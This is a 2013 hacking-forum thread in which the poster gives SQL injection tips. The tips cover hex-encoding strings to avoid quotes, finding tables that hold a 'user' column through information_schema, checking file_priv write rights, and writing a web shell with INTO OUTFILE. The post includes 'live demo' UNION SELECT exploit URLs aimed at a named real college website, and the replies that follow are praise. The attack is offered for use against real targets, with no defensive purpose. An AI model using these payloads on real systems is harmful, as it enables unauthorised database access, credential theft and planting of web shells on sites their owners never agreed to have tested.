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10-14-2013, 03:19 AM #1
madcodE Offline Administrator **********
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Assalamualaikum.. madcodE haxor here

in this article I will give you some SQL injection tips

Tip 1: avoid use of qoutes '' ""

okay when we are injecting a website and we reached a point where we need to use where clause and give input data
for example we are tyring to find column names of table admin
we mostly use
select column_name from information_schema.tables where table_name='admin'
but it dont work all the time.. what to do next?

we can avoid use of qoutes .. we can use hex values instead.. or convert the string in mysql char
we use hackbar > SQL > MySQL char for it
or we can use encode options in hackbar Encoding>Hex Encoding>string to 00ff00ff
when you input string it will like
61646d696e we have to add 0x before it and make it like 0x61646d696e
and then add it in our query that will look like
select column_name from information_schema.tables where table_name=0x61646d696e
You inject a website with a big and awkward database , You get lots of table names and you
dont know which table might contain login details
so what you gonna do with it Biggrinsmiley
usually you retrieve table name and then move to columns to find login records
but in this case Biggrinsmiley we are will scan all table name for some specific column in all databases
lets say our specific column is "user"
so to find out what table name contain this column
we will use query like
UNION SELECT table_name From Information_Schema.columns where column_name="user"
if it dont work we can hex column name (in our case, hex of passwrd is 0x75736572)
SELECT table_name From Information_Schema.columns where column_name=0x75736572
http://svce.ac.in/departments/cse/profile/index.php?id=-7+union+select+1,concat(0x3c2f7469746c653e,group_concat(table_name))+from+information_schema.columns where column_name=0x75736572

[Image: x9g0.png]

this query will look in all databases but if you want to search in current database
you can add AND condition in query and make it look like

UNION SELECT table_name From Information_Schema.columns where column_name=hex_of_column_name and table_schema=database()

Testing if your current db user can write/read permissions?

first you need to check the database user
you can find it using user()
and query will return data like [email protected], [email protected] or just user / anything

so you got username whats next?
how to check if user have read write permissions?
use this query
select file_priv from mysql.user where user='username'
sometimes you need to avoid qoutes and use hex instead

live demo

http://svce.ac.in/departments/cse/profile/index.php?id=-7+union+select+1,group_concat(file_priv)+from+mysql.user where user=0x637365



what next if you got write permssions ???
if you got write permssions we can write our shell in any writeable directories of website
but how ??
using out file function
but how to use it?

SELECT '' INTO OUTFILE '/var/www/dir/mad.php'

NOTE: /var/www/dir/mad.php is just an imaginary directory for this article .. you have to find root path yourself

how to access the shell?

just go to dir you provided like this


1337 HAX0RLIFE MAKMAN DrZombie Haxor Hussy and the rest of team

10-14-2013, 03:24 AM #2
H4x0rl1f3 Offline Commander In Cheif *******
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You are awesome bro wink
Thanks for writing this awesome stuff.

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10-14-2013, 03:29 AM #3
Sizziling Leet Offline Any problem of iphone ipad ipod ask me ! *****
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AwesoMe Bro Biggrinsmiley

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Contact : [email protected]

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10-14-2013, 03:31 AM #4
Diizzy Offline cat /etc/passwd ***
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The tips are very helpful ..
Thanks for sharing with us wink

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10-14-2013, 03:36 AM #5
Dr41DeY Offline Madleets 2017 :) ***
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Thanks, for these tips! Biggrinsmiley

Welcome back, Madleets 2017!

10-14-2013, 11:05 AM #6
Cr4t3r Offline Junior Member **
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Amazing ! Biggrinsmiley

If you give a hacker a new toy, the first thing he'll do is take it apart to figure out how it works.
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10-14-2013, 05:14 PM #7
sniffer Offline Bug Researchers **********
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AwesoMe Bro Smiley1

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10-14-2013, 11:32 PM #8
Sn!p3r_GS Offline Super Moderator ******
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Good tut bro thx

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11-17-2013, 12:10 PM #9
_-_ L.a.F.a.n.G.a _-_ Offline -_- ComPleX StRuCtuRe -_- ******
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alaaaa maddy janu :-* <3 Lub u AIna sara >Biggrinsmiley< :v

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11-17-2013, 01:26 PM #10
Ninja-Inj3ct0r Offline Junior Member **
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Gr3 post and well explained ~! . Also It was a load_file Injecting Biggrinsmiley :lol:

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